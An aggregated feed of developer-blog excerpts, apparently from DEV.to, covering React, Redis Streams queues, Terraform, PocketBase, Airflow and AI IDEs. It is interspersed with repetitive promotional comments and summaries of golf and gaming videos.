    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. As remote and hybrid work becomes the norm, scheduling meetings efficiently is more important than ever. I wanted to create a simple, intuitive Meeting Scheduler app using React and Tailwind CSS that allows users to quickly add, view, and organize meetings with multiple attendees. My goal was to build something clean, functional, and easy to extend for future features. Live Demo: [https://office-iq.vercel.app/] Source Code: [https://codesandbox.io/p/sandbox/github/SumitDesai-21/OfficeIQ] This project was a great opportunity to practice building a React app with modern hooks and state management. I focused on: User Experience: The form is simple, with clear fields for title, date/time, description, and attendees. I used a multi-select dropdown for attendees, making it easy to add multiple people to a meeting. State Management: All meetings are managed in local state for simplicity, and the list is sorted by upcoming date/time. Styling: Tailwind CSS made it easy to create a clean, responsive UI with minimal custom CSS. Learning: I learned more about handling multi-select inputs in React, and how to keep forms accessible and user-friendly. What I'm proud of: The app is easy to use and visually appealing. The code is organized and ready for future enhancements, like persistent storage, notifications, or integration with a real user directory. Next steps: Add persistent storage (localStorage or backend) Integrate with a real calendar API Add authentication and user management Improve accessibility and mobile responsiveness Team Submission: Solo project, but open to feedback and collaboration! License: Feel free to use or adapt this project! (MIT License recommended) Thanks for checking out my submission! 🚀  ( 3 min )
    You can tell TDZ PRO has taken the time to refine this system. It's detailed, scalable, and client-focused.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    One of the best parts of this method is how TDZ PRO uses visuals to confirm understanding instead of repeating empty words.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    12 Powerful React Libraries Every Developer Should Master in 2025
    12 Powerful React Libraries Every Developer Should Master in 2025 React continues to lead the frontend world in 2025, but with its simplicity comes the challenge of choosing the right tools. Whether you're a solo developer or working on a team, these 12 libraries will help you work faster, write better code, and build more dynamic web apps. What it does: Declarative routing for single-page React apps. React Router is still the industry standard for managing routes in React. It supports nested layouts, lazy loading, and dynamic route parameters. 👉 Documentation What it does: Minimal state management using hooks. Zustand is gaining popularity for being tiny, fast, and avoiding boilerplate. It works great for global state in small-to-medium apps. 👉 Documentation What it does: Performant, …  ( 4 min )
    TDZ PRO is showing what happens when a remote team works with intention instead of habit.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    Great opportunities happening right now 🌟
    Hey Everyone! We have several amazing challenges running right now, each with meaningful prizes, and I genuinely think this could be a great moment for many of you to get involved. There are four challenges active, with a fifth one launching later this week. Together, they represent over $10,000 in prizes! Whether you're drawn to backend development, frontend design, voice technology, or storytelling, you can find your niche. Having diverse options means smaller, focused groups of participants in each area rather than one overwhelming competition. This creates better opportunities to showcase what you do best (and win!). Join the Algolia MCP Server Challenge: $3,000 in Prizes! Jess Lee for The DEV Team ・ Jul 10 #devchallenge #algoliachallenge #ai #webdev Join…  ( 4 min )
    Mastering Automation: 5 Real-World n8n Workflow Examples (With Step-by-Step Guides)
    Mastering Automation: 5 Real-World n8n Workflow Examples (With Step-by-Step Guides) This and other articles of mine can be found here 📌 Overview n8n is an open-source workflow automation tool that allows you to connect services (APIs, webhooks, databases, CRMs, and more) into powerful automations without writing boilerplate glue code. Whether you're a beginner or seasoned power user, this article provides 5 comprehensive, real-world workflows to launch your n8n journey or deepen your automation chops. Each example includes: Use case breakdown Step-by-step setup Real-world benefits JSON download (optional) Before diving in: Install n8n (self-hosted Docker or cloud-based) Have credentials ready (e.g., Gmail, Notion, GitHub) Know how to use the n8n Editor UI …  ( 5 min )
    This process goes beyond just looking organized. It creates a feeling of momentum and clarity for everyone on the call. TDZ PRO nailed it.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    Paid to Wait, Pressured to Deliver: My First Coding Job
    My first coding job was not what I expected. I was getting paid to do nothing! Or so I thought. I landed it straight out of college, and at the time, I thought I had hit the jackpot. A full-time coding job after a simple interview process? It felt too good to be true, and in many ways, it was. Orientation started with a group training program. We took classes and had to pass tests on Java, MongoDB, and Splunk - tools I was already familiar with from college. Some of my new coworkers, however, struggled. Curious, I asked around about their backgrounds. To my surprise, most didn't have a programming background at all. That was red flag number one. Still, I continued with the three-month training program and passed everything with flying colors. After training, we learned how the company actu…  ( 6 min )
    CoinDCX $44M Hack: Big PR Game Vs. Bigger Questions
    The recent $44 million hack on CoinDCX hasn’t just blown a hole through the company’s "safest exchange in India" narrative—it’s exposed a darker underbelly of crypto public relations, influencer manipulation, and opportunistic hypocrisy. For those who’ve watched CoinDCX operate over the past few years, the breach wasn’t just a security failure. It was karma. When WazirX suffered a major cyberattack exactly 1 year ago on July 18, 2024, it responded with regular user updates, affidavits in court, law enforcement cooperation, and a visible roadmap for recovery. But instead of showing industry solidarity, CoinDCX seized the moment to push WazirX down. A coordinated influencer campaign followed—funded and promoted through CoinDCX’s PR channels. Influencers were paid to post hit pieces, amplify …  ( 4 min )
    IT Service Management (ITSM)
    ITSM (IT Service Management) refers to how IT teams manage the end-to-end delivery of IT services to customers. It includes all processes and activities to design, create, deliver, support, and manage IT services. ITSM focuses on aligning IT services with the needs of the business and often uses ITIL as a guiding framework. ITSM Process: Incident Management – Restore service quickly when it fails. Problem Management – Identify and resolve the root cause of issues. Change Management – Control and manage changes to reduce risk. Service Request Management – Handle user requests (e.g., password reset). Configuration Management – Maintain info about IT assets (CMDB). Release & Deployment Management – Plan and deploy changes in a controlled way. Incident Management Process to restore service quickly & reduce impact. Minimizes Downtime: A quick response can reduce operational disruptions. Limits Financial Losses: Effective containment prevents incidents from escalating. Protects Reputation: Transparent and timely handling of incidents builds trust with customers and partners. Ensures Compliance: Many regulations require organizations to have incident response plans in place. 📌 Summary Incident Management is key to ITSM. Automation, categorization, SLAs, and reporting streamline operations.  ( 3 min )
    My React.js Journey: An Angular Developer's Perspective
    In 2017, I started working with Angular 4 as my first frontend framework, altough I was a PHP backend dev who had pretty nice experience with CSS, HTML and bootstrap. I totally dedicated myself to build the project I was given to me from scratch while I had zero experience working with Angular and the deadline wasn't very long. However, In the end, the result was spectacular, the company was so satisfied and I learned Angular from scratch in a very short time working on a real project. I fell in love with Angular and did serveral projects with it afterward for years. Recently, I had some very good job opportunities that required React.js and I decided to learn it, although because of Angular's beautiful structure, all of my previous efforts to get started with React had failed before. It's…  ( 6 min )
    How to Fetch Data in React: 5 Methods Compared
    Difficulty: Beginner Reading time: ~8 minutes Example API: https://rickandmortyapi.com Fetching data is one of the first challenges every React developer faces. In this article we’ll explore five different approaches—ranging from native browser features to full‑blown data‑fetching libraries—all with the same public API so you can compare them apples‑to‑apples. useEffect Axios with useEffect A Reusable useFetch Hook React Query (TanStack Query) SWR (stale‑while‑revalidate) Choosing the Right Tool Wrapping Up useEffect The fastest way to pull data is the browser‑native fetch wrapped in a useEffect hook: import React, { useState, useEffect } from "react"; function CharacterListFetch() { const [characters, setCharacters] = useState([]); useEffect(() => { fetch("https:…  ( 5 min )
    Check out our analysis on Supabase!
    02:21 Project of the Week: Supabase Riyana Patel for PullFlow ・ Jul 18 #opensource #github #programming #discuss  ( 3 min )
    How to Choose the Perfect Coffee Table for Your Living Room
    A coffee table might seem like a small piece of furniture, but in reality, it’s the unsung hero of your living room. It anchors the space, invites conversation, and adds both function and personality. Whether you're sipping evening tea, hosting friends, or just resting your feet after a long day, the right coffee table makes all the difference. Before you browse styles or colors, evaluate the size and shape of your living room. A living room coffee table should complement your sofa and layout, not overwhelm or disappear in the space. There are plenty of materials out there, from glass and metal to MDF and engineered wood. But nothing matches the warmth, strength, and timeless charm of solid wood. A wood coffee table brings organic texture and a grounded feeling to your living room. Coffee …  ( 6 min )
    🧱 Frontend scaling tip: Split your UI logic. useData() for fetching useLogic() for state Component.jsx for rendering Separation = clarity = maintainability.
    A post by Tianya School  ( 3 min )
    Ashkan Rajaee turns crisis into clarity. His insights help me rethink how I approach decisions in my own team.
    What Leaders Can Learn from the Zoom Scandal Ashkan Rajaee Just Unpacked Matt Johnson ・ Jun 26 #leadership #workculture #career #ashkanrajaee  ( 3 min )
    React Query Efficient API Request and Cache Management
    React Query is a powerful state management library designed for handling data fetching, caching, and updating, particularly suited for API interactions. It offers advanced features such as automatic caching, offline state management, data expiration, and refetching. npm install react-query In your application, you need to import the useQuery Hook and set up a configuration object. import { useQuery } from 'react-query'; const queryClient = new QueryClient(); Wrap the queryClient around your root component using QueryClientProvider to make it available throughout the application. import { QueryClient, QueryClientProvider } from 'react-query'; const queryClient = new QueryClient(); function App() { return ( {/* Your application */} …  ( 6 min )
    This is Why Good Enough Software is Better Than Perfect
    I used to lie awake at night thinking about my code. Was that function elegant enough? Could I refactor that module one more time? Should I rebuild the entire architecture with the latest framework? For a long time, I was trapped in perfectionism, something that so many developers today struggle with. We’ve been conditioned to believe that our code needs to be flawless, with zero bugs, clean architecture, and the newest technology stack. It’s a dangerous belief that can weaken progress and kill innovation. The truth hit me during a particularly intense code review session. A senior architect, someone whose work I deeply respected, made a confession that changed everything. He said, “I’ve never written perfect code. Neither has anyone else in this room. That’s exactly why we’re successful.”…  ( 6 min )
    Integrating Bitbucket MCP with Cursor: A Practical Guide for Developers
    As developers, we all want our workflows to be smooth and efficient. Managing repositories, reviewing pull requests, and keeping track of changes can get tedious—especially when it means switching between your editor and browser. Recently, I set up the Bitbucket MCP (Model Context Protocol) server with Cursor IDE, and it’s made these tasks much more convenient. While Cursor supports bugbot for GitHub PR reviews, there’s nothing similar out-of-the-box for bitbucket users. Setting up Bitbucket MCP with Cursor changed that for me—and made my dev life a lot smoother. Here’s a practical guide based on my experience, with tips that apply even if you use other tools. The main benefit is reducing context switching. With Bitbucket MCP, you can: List and manage repositories Create, review, and appr…  ( 7 min )
    This news made me so darn happy.
    I have no clue how long ago this happened, but GSAP (GreenSock Animation Platform) is now FREE for EVERYONE. Every single feature that used to be behind a paywall is now entirely free. A bit of Backstory: Until I check back into there website today, the first time in a while. Everything is free. I am going to be animating! :)  ( 3 min )
    me rn
    Finally got a nagging Mac intel/silicon misconfiguration worked out that I'd been ignoring for months  ( 2 min )
    Unlocking AI's Role in Mental Health Care
    AI's Revolutionary Leap in Psychiatry Did you know that some AI mental health tools can detect signs of depression or anxiety just from the way you type or speak—sometimes with over 85% accuracy? Wild, right? It’s like your keyboard or app is quietly checking in on your emotional well-being. So, if you're picturing some distant sci-fi future with robot therapists, hold up—in many ways, we’re already living in it. But let’s back up a second. Because if you’re anything like me, you've probably felt a little skeptical (okay, maybe a lot) about words like “AI” and “psychiatry” in the same sentence. I mean, can a machine really “understand” feelings? Isn’t that what makes us… human? Here’s where it gets interesting. As mental health professionals and patients, we face two big challenges: over…  ( 13 min )
    What is HTML? Beginner’s Guide to the Language That Builds the Web
    HTML is everywhere, yet most people don’t realize it. Every website you visit, from Google to Instagram, uses HTML at its core. If you’re curious about how websites are built, learning HTML is the perfect first step. In this beginner-friendly guide, you’ll learn: What exactly HTML is (and what it’s not) How websites use HTML under the hood The basic structure of an HTML document How to preview your code live Why developers use Chrome DevTools (Inspect Element) Whether you're a coding newbie or just curious about how the internet works, this blog is for you. What is HTML? HTML (HyperText Markup Language) is the standard language used to create the structure of web pages. Think of HTML as the skeleton of a website—defining headings, paragraphs, links, images, and more. It doesn…  ( 4 min )
    Build Better UX: Free QR Code Generator for Developers, Designers & Makers
    👋 Introduction Meet the Free QR Code Maker — a lightweight, privacy-friendly tool built with Next.js that gives you a scannable PNG in seconds. 🛠️ Tech Behind the Tool QR generation: Uses open-source QR libraries No database, no tracking – Everything runs in-browser Fully mobile-friendly Exports: PNG (downloadable instantly) 🔗 Try it here: https://fossatechnology.com.np/tools/qr-code-maker ⚙️ Use Cases for Devs & Makers Create digital business cards Share WiFi credentials or app downloads Print on event flyers or public posters Embed in landing pages for cross-platform access This isn’t a SaaS, it’s a utility — think "Unix tool" but on the web. ✨ Why We Built It Simple UX. No cookies. No paywalls. Just generate and go. 📥 Try It (Free Forever) https://fossatechnology.com.np/tools/qr-code-maker 💡 Want to Collaborate? Say hello at Fossa Technology  ( 3 min )
    Leadership is full of gray areas, and Ashkan Rajaee knows how to navigate them without losing integrity.
    What Leaders Can Learn from the Zoom Scandal Ashkan Rajaee Just Unpacked Matt Johnson ・ Jun 26 #leadership #workculture #career #ashkanrajaee  ( 3 min )
    All Data and AI Weekly #199 - July 21, 2025
    All Data and AI Weekly ( AI, Data, NiFi, Iceberg, Polaris, Streamlit, Flink, Kafka, Python, Java, SQL, Unstructured Data ) #199 - July 21, 2025 https://bsky.app/profile/paasdev.bsky.social NiFi + AI + AI Data Cloud + Iceberg. https://www.reddit.com/r/DataEngineeringForAI/hot/ Monthly NYC and Youtube Events https://lu.ma/PINSAI Join Hex and I in New York City for a hands-on hackathon with food, AI and prizes. https://lu.ma/prjumowa OpenFlow https://www.youtube.com/watch?v=Mw9NwFg_VHk https://snowflakechronicles.medium.com/mastering-the-snowflake-pipe-operator-real-world-use-cases-you-can-run-today-1105d03f1d9b Run Fast on Mac local https://github.com/trymirai/uzu https://www.youtube.com/watch?v=_aBr3EZSLjc https://medium.com/@vikrambalaaj/the-rise-of-ai-agent-proto…  ( 3 min )
    Why I Built http-status-toolkit — A Better Alternative to http-status-codes
    In my backend projects, I got tired of constantly writing raw status code numbers like: res.status(200) res.status(404) It works — but it's not expressive. And honestly, it makes code harder to read and maintain over time. Like many developers, I wanted something cleaner, more intuitive, and easier to understand at a glance. So I looked into existing solutions. http-status-codes http-status-codes is a well-known package. With it, you can write: import { StatusCodes } from "http-status-codes"; res.status(StatusCodes.OK); Much better than hardcoded numbers — but it came with a few drawbacks: ❌ No ESM support ❌ No localization ❌ No detailed reason phrases ❌ Separate type definitions (@types/http-status-codes) ❌ Slightly bloated — 12+ KB minified It didn’t quite solve my problems. So I…  ( 4 min )
    Every article from Ashkan Rajaee feels like real mentorship. This one gave me a lot to reflect on.
    What Leaders Can Learn from the Zoom Scandal Ashkan Rajaee Just Unpacked Matt Johnson ・ Jun 26 #leadership #workculture #career #ashkanrajaee  ( 3 min )
    Reflecting on 7+ Years of Crafting CLI Tools in Rust
    Introduction I (@ynqa) have been focusing on developing CLI tools using Rust for the past 7 years. I'd like to reflect on what tools I've actually built and what technical challenges I've tackled during this journey. My Rust journey began about 7 years ago (around 2018) when I decided to learn Rust by writing a Kubernetes API client from scratch. Through developing the Kubernetes client, I learned fundamental Rust concepts: Easy dependency management using Cargo Utilizing move semantics and smart pointers in Rust Concise error handling with Result and the ? operator Simple JSON serialization using derive and serde Loading configuration files like kubeconfig JWT token generation for OAuth2 authentication Fortunately, this project caught the attention of other developers. Particularly, @…  ( 10 min )
    Why we use Apache Airflow for Data Engineering
    Goal: To explain the value of Apache Airflow in building, scheduling, and managing workflows in Data Engineering. Definitions: Data Engineering Orchestration tools like Airflow in data engineering are important especially when it comes to automation, optimization and the execution of data workflows that involve multiple dependent tasks across systems. Key Components of the Airflow Architecture Directed Acyclic Graphs(DAG's):A DAG is basically code written in python that defines the sequence of tasks needed to execute a workflow. Scheduler: Triggers scheduled workflows and submitting tasks to executor Executor: Runs the tasks e.g LocalExecutor Web server: Provides a user interface (UI) to inspect, trigger and debug DAGs’ behaviours and tasks Metadata Database: Used by the scheduler,…  ( 4 min )
    🧰 How to Install Terraform (And Get It Working in Under 7 Minutes)
    Hey everyone 👋 If you're getting started with cloud infrastructure or learning Infrastructure as Code (IaC), one of the first tools you’ll hear about is Terraform by HashiCorp. It lets you define your infrastructure using simple, human-readable config files — and then deploy that infrastructure automatically across AWS, Azure, GCP, and more. But before you can build anything, you need to install Terraform. Let me walk you through how to do it the fast, easy way 👇 Terraform is a command-line tool that helps you provision, change, and manage infrastructure across multiple providers. It’s lightweight, fast, and once installed, gives you a powerful CLI to define your infrastructure as code. There are two main methods to install Terraform: ✅ Using a package manager (recommended) 🛠️ Manual do…  ( 4 min )
    JavaScript ES6+ Features Every Developer Should Know
    JavaScript has evolved massively since ES6 dropped in 2015. Are you still writing JavaScript like it’s 2010? You’re making your life harder than it needs to be. These features actually solve the annoying problems you deal with every day. React, Vue, Angular — they all lean heavily on ES6+ features. You can’t really avoid learning them anymore. Plus, they help you write less code, introduce fewer bugs, and actually maintain your projects without frustration kicking in. let and const are new ways to declare variables that were introduced in ES6 to replace var. They provide better scoping rules and help prevent common JavaScript. The old var keyword creates confusing behavior. Variables declared with var are function-scoped and get “hoisted,” which leads to unexpected results. Here’s how you…  ( 5 min )
    Async Job Queues Made Simple with Redis Streams and Python `asyncio`
    Process thousands of tasks per minute without Celery, RabbitMQ, or heavyweight brokers. Native append‑only log in Redis 5+ Automatic persistence and replication Consumer groups for at‑least‑once delivery Light resource footprint -- perfect for tiny VPSes and serverless containers You get Kafka‑style guarantees without the operational overhead. A producer that pushes JSON tasks to a stream A worker that pulls tasks via a consumer group Rate‑limiting with an async semaphore Graceful shutdown so no messages are lost All in under 150 lines of Python. python -m venv venv && source venv/bin/activate # Windows: .\venv\Scripts\activate pip install aioredis asyncio-json docker run -d --name redis -p 6379:6379 redis:7-alpine redis_stream_queue/ ├── producer.py └── worker.py …  ( 4 min )
    FreelanceOS: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. FreelanceOS - FreelanceOS: A portal for freelancers to manage clients, projects, invoices, and contracts. Clients get a secure portal for project tracking, invoices, contracts, and chat. Streamlines collaboration. Team Members: Syed Shariq Hussain Project URL: https://devpost.com/software/freelanceos While FreelanceOS represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building FreelanceOS wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking chan…  ( 4 min )
    How to clean dead-letter queue from azure service bus
    Problem Have you faced a situation where a lot of messages went to the dead-letter queue in azure service bus and then you need to clean it? You can easily go to azure portal and peek at messages and clear them. But if you have more than 20k messages, maybe it becomes painful to select one by one and clear. Other than that, it is important to understand why messages went there for troubleshooting reasons and help you to fix any issue that your application may be experiencing. What to do in such a situation ? A high number of messages in the dead-letter queue is a clear indication that your application is not able to consume them and usually they go there after the max attempts are reached. This includes uncaught exceptions, TTL expiration, serialization and deserialization issues, and s…  ( 8 min )
    What are your goals for the week? #136
    It's too hot. What are you building? What are you working on this week? Are you attending any events this week? Continue Job Search. Network, Send emails. Project work. Content for side project. Maintenance on a project. Work on my own project. Use the Content & Project Dry erase calendar. Work on DEV's new front end challenge - office edition. Blog. Events. Tuesday Dads in Tech. Night of UX - Dallas Software Developers (Virtual) Wednesday AXE seminar Thursday Virtual Coffee. No local events Run a goal setting thread on Virtual Coffee(VC) Slack. Virtual Coffee is holding our "Get Job Ready" challenge in June and July. 🚧 - Continue Job Search. Network, Send emails. Project work. ✅ Content for side project. ✅ Maintenance on a project. Work on my own project. ✅ Use the Content & Project Dry erase calendar. Work on DEV's new front end challenge- office edition. Need to pick topics and work. Blog. Events. Thursday Virtual Coffee. No local events ✅ Run a goal setting thread on Virtual Coffee(VC) Slack. Virtual Coffee is holding our "Get Job Ready" challenge in June and July. In July we focus on networking and job applications. Encouraging Coffee chats this week. What are you building? What are you working on? Are you attending any events this week? Cover image is my LEGO photography. Stitch with fours arms. He's holding a laptop, phone, cookie, and a mug. He's next to a desk with a CRT monitor and keyboard. -$JarvisScript git commit -m "edition 136"  ( 12 min )
    Fixing 421 Misdirected Request Errors on Multilingual WordPress Sites Using Apache & NGINX
    All of a sudden, we encountered an intermittent but critical issue affecting multiple domains hosted on our cPanel server with both Apache and NGINX enabled. The issue manifested as random 421 Misdirected Request errors on a multilingual agency website as well: 🔗 https://www.nordicdigisolutions.com 🔗 https://www.nordicdigisolutions.no Despite a valid SSL setup and clean redirects, HTTPS requests were occasionally misrouted or rejected. This post documents our full diagnostic journey and resolution, and may serve as a reference for others facing similar issues. Symptoms We Noticed ❌ Random 421 Misdirected Request errors appearing only on HTTPS pages 🌐 Affected both domains: .com and .no 🔁 Issue was intermittent — some visits worked, others failed ✅ All redirects (non-www …  ( 6 min )
    Ashkan Rajaee handles uncomfortable truths with precision and care. This piece is a great example of that.
    What Leaders Can Learn from the Zoom Scandal Ashkan Rajaee Just Unpacked Matt Johnson ・ Jun 26 #leadership #workculture #career #ashkanrajaee  ( 3 min )
    How do I cancel a subscription from Dev++?
    Hey everyone 👋 I recently signed up for a subscription on Dev++, but I’m having trouble figuring out how to cancel it. I’ve already tried checking their settings section — no luck. I also reached out to them via email and even messaged them on X (Twitter), but I haven’t received any response so far. 😕 Has anyone here successfully canceled their Dev++ subscription? Or does anyone know a working method or a direct contact that actually replies? Any help would be greatly appreciated 🙏  ( 3 min )
    The 13-Line Pattern That Eliminates Dependency Passing, & Understanding How Effect Systems Work
    Learn how a tiny runtime using JavaScript generators can transform how you structure applications Imagine two restaurants: Restaurant A (Dependency Passing) Every order must go through: Host → Manager → Head Chef → Line Cook → Prep Cook Even if the prep cook just needs salt, the entire chain must know about salt Adding a new ingredient requires updating everyone's job description Each person handles things they don't need, just to pass them along Restaurant B (Our Pattern) Each cook has a button: "I need salt" A runner brings exactly what's needed Cooks focus on cooking, not supply chain management New ingredients? Just add a new button This is the shift we're making in code. Let's see this in code you've probably written: // ❌ The problem: Every function needs ALL dependencies passed thro…  ( 16 min )
    Pocketbase API Rules
    While learning PocketBase, many times there are patterns and helpful things to know that are either not in the docs, are not obvious. Namely, API rules are hard. People have built websites to help you build API rules for example. One thing I recently learned, is that an API rule's are translated to SQL and can create joins in unexpected (but needed ways). For example: Client call: pb.collection('login_bonus_earned').create({ user: 'abc124', loginBonus: 'hij876' }); API rule: @request.auth.id != "" && @request.body.user = @request.auth.id && @request.body.loginBonus.day >= @todayStart && @request.body.loginBonus.day = '2025-07-20 00:00:00.000Z' AND __data_login_bonus_loginBonus.day <= '2025-07-20 23:59:59.999Z' ) LIMIT 1  ( 3 min )
    Ashkan Rajaee knows how to bring humanity into conversations that usually end in blame. That’s leadership.
    What Leaders Can Learn from the Zoom Scandal Ashkan Rajaee Just Unpacked Matt Johnson ・ Jun 26 #leadership #workculture #career #ashkanrajaee  ( 3 min )
    Unlocking Confidentiality: TEEs and FHE in Web3, Featuring Oasis Network's Pioneering Role with TEE
    The blockchain landscape, celebrated for its transparency and trustless nature, faces a critical challenge: a fundamental lack of privacy. While the public ledger fosters trust and verifiable transactions, it simultaneously exposes sensitive data, hindering the adoption of blockchain technology in numerous high-value use cases. Imagine your entire financial history, voting record, or even a poker hand being publicly visible, this inherent transparency, while beneficial for some applications, becomes a nightmare for others requiring confidentiality. This deficiency has kept crypto in chains, preventing it from fulfilling its full potential. However, a new era of "Privacy 2.0" is emerging, driven by advanced privacy-enhancing technologies (PETs) like Fully Homomorphic Encryption (FHE) and Tr…  ( 10 min )
    Observability & Governance: Using OTEL, Guardrails & Metrics with MCP Workflows
    In previous articles, we explored how to build, integrate, and deploy Strands Agents SDK with the Model Context Protocol (MCP) for dynamic tool usage and reasoning123. While these agents are functional and scalable, deploying them in production environments demands more than just reliability—it requires visibility and control. Without observability, it is difficult to trace how an agent made a decision, which tools were invoked, or why certain failures occurred. Similarly, without governance mechanisms like guardrails, agents might make unsafe or inefficient calls, leading to unpredictable outcomes. In this article, we’ll demonstrate: How to add OpenTelemetry (OTEL) for tracing and metrics. How to implement governance guardrails within MCP tools. How these capabilities work together to mon…  ( 5 min )
    Deploying Jozu On-Premise: Architecture & Workflow Overview
    Jozu recently introduced an On-Premise deployment option for its Orchestrator, giving organizations full control over their ML/AI supply chain. This post offers a closer look at how the architecture works, how it integrates with open standards like OCI and OIDC, and what it enables when deployed inside your own infrastructure. Jozu Orchestrator—also known as Jozu Hub (try Jozu Hub for free here)—is a private, self-managed solution that helps organizations securely manage their machine learning models, data artifacts, and application configurations. At its core, it allows teams to build and push ModelKits, which are OCI-compliant container images that bundle everything needed to train, deploy, or audit a machine learning system. Each ModelKit is fully versioned, immutable, and contains mode…  ( 5 min )
    Working on the sidebar that connects subforems — close to making this more of a first-class feature.
    A post by Ben Halpern  ( 2 min )
    Kiro vs Cursor: How Amazon’s AI IDE Is Redefining Developer Productivity
    👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 In 2024, the AI developer tool ecosy…  ( 7 min )
    Golf.com: Scheffler Dominates Royal Portrush | Inside Scottie's Triumph at The Open
    Scottie Scheffler crushed the field at Royal Portrush to win the 2025 Open Championship. GOLF.com’s on-site team breaks down how he pulled away, what made Portrush the perfect stage and how his form sets up an exciting Ryder Cup next year. Beyond tournament recaps, GOLF.com connects you with the game’s best courses, teachers and characters—offering exclusive Tour access, interviews, gear reviews and more to help you live well and play well.  ( 3 min )
    How to Send Email Alerts for Failures in Spring Boot Using Prometheus and Alertmanager
    Monitoring resilience patterns like Circuit Breakers is critical to detect downstream failures early. In this tutorial, we’ll walk through a real-world setup using Prometheus and Alertmanager to send email alerts when a Circuit Breaker is frequently triggered in a Spring Boot application. Spring Boot: exposes metrics via /actuator/prometheus Resilience4j: manages the Circuit Breaker Prometheus: collects metrics Alertmanager: triggers email alerts Mailtrap: email sandbox (SMTP server) The circuit breaker configuration is here on this post The Prometheus configuration is here on this post 1. Create Alert manager container In our docker-compose.yaml file, add this: prometheus: image: prom/prometheus:latest ports: - "9090:9090" networks: - app_netwo…  ( 5 min )
    Danny Maude: This Is How I Build The Easiest Swing In Golf
    Danny Maude’s latest golf lesson tackles why “swinging harder” often backfires and shows you how to build a smooth, powerful swing with zero extra effort. You’ll learn to strike the ball first, unlock effortless distance through rhythm (not brute force), and sync your hands, arms, and body for a repeatable, stress-free motion. Along the way Danny walks you through simple drills—the wrist-release drill, trail-arm flow drill, lead-arm release, pivot practice and a timing exercise—that combine into one easy-to-remember swing. Grab his free printable practice plan and you’ll have everything you need to groove a confident, carefree swing from the range to the course.  ( 3 min )
    Rick Shiels Golf: THE HARDEST COURSE I've played all year….MAYBE EVER!
    Rick Shiels heads to Real Club Valderrama for LIV Golf Andalucía, taking on one of Europe’s toughest courses live on FOX and the LIV Golf App. He’s on a mission to break 75 and you can catch all the action (and grab tickets) via the official LIV Golf channels. Along the way, Rick’s dropped limited-edition merch, launched a golf podcast and a gear-review channel, and continues to dish out bite-sized coaching on everything from drives and irons to chips, pitches and putts—so your game (and scorecard) keeps getting better.  ( 3 min )
    The Chainsaw Metaphor: AI in software development represents an evolution, not a destructive revolution
    The Chainsaw Metaphor: AI in software development represents an evolution, not a destructive revolution The anxiety surrounding artificial intelligence and its impact on the job market is understandable, especially in technology. Many developers wonder if AI, with its code-generating and task-automating capabilities, will eventually take their jobs. However, the reality is quite different: AI isn't coming to replace developers; it's here to empower them, making them exponentially more productive. The result? Smaller, more efficient teams capable of achieving results that once required an army. The Chainsaw Metaphor: one worker with a chainsaw versus several with sickles. Both are clearing an area, but the modern tool drastically multiplies the productivity of a single individual. AI acts…  ( 4 min )
    The Game Theorists: Game Theory: What is MXES? (Secret of the Mimic)
    TL;DR: MatPat’s latest Game Theory episode finally unpacks the Mimic’s mysterious backstory in Five Nights at Freddy’s: Secret of the Mimic. You’ll learn the Mimic’s true objective, the deal with MXES, and why the Security Breach lore was so tangled—complete with a tour through Murray’s Costume Manor to reveal the “real” secret lurking behind the animatronic mayhem. Along the way, expect slick graphics, tight editing, and insider credits (Tom Robinson on writing, Tyler Mascola & Koen Verhagen on edits, Yosi Berman on sound) plus all the links you need to subscribe, grab the game, or hit up Epidemic Sound for royalty-free tunes. Perfect for FNAF theoryheads craving closure.  ( 3 min )
    GameSpot: Is Eriksholm: The Stolen Dream Worth Your Time?
    Lucy was hoping Eriksholm: The Stolen Dream from River End Games would deliver top-tier stealth action, but it doesn’t quite hit the mark in that department. Still, if you treat it more like a puzzle game and it eases up on its strict rules, there’s a genuinely fun brain-teaser hiding underneath.  ( 2 min )
    IGN: Gangstalk - Official Trailer | Secret Sauce Showcase 2025
    Get ready to see the horrors of stalking from the other side in Gangstalk, a psychological horror game that flips the script by putting you in the shoes (or footsteps) of your stalkers. The newly dropped trailer gives you a taste of all the creeping dread, twitchy glances and unsettling vignettes you can expect. Coming soon exclusively on PC, Gangstalk promises a fresh twist on horror gaming by making you the hunter instead of the hunted—just try not to look over your shoulder.  ( 3 min )
    IGN: Alabaster Dawn - Official Demo Trailer | Secret Sauce Showcase 2025
    Alabaster Dawn is a top-down 2.5D action RPG from the creators of CrossCode, where you’ll break Nyx’s curse to guide humanity’s rebirth. A new trailer teases stylish combo-based combat, multiple divine weapons, intricate puzzles and a vibrant, ever-shifting world to explore. Set to launch on PC, Alabaster Dawn will also offer a free demo on Steam in September 2025.  ( 3 min )
    Supercharging Development with Kiro IDE: A Real-World Experience
    As developers, we often chase the balance between speed and structure—moving fast while keeping our codebase clean, maintainable, and scalable. Over the past few weeks, I’ve been building a cross-platform Flutter application using Kiro IDE, and the experience has been nothing short of transformative. This post shares how Kiro is actively shaping the way I build software—without diving too deep into the app itself (which is still under wraps!). Kiro IDE is a new agentic AI-powered development environment from AWS. It combines the power of goal-driven AI agents with the flexibility of VS Code. Unlike traditional autocomplete tools, Kiro works like a junior developer: it understands your intent, plans the work, and autonomously modifies your codebase—always asking for your approval before mak…  ( 5 min )
    How to Set Up a Raspberry Pi Tunnel for Remote Access
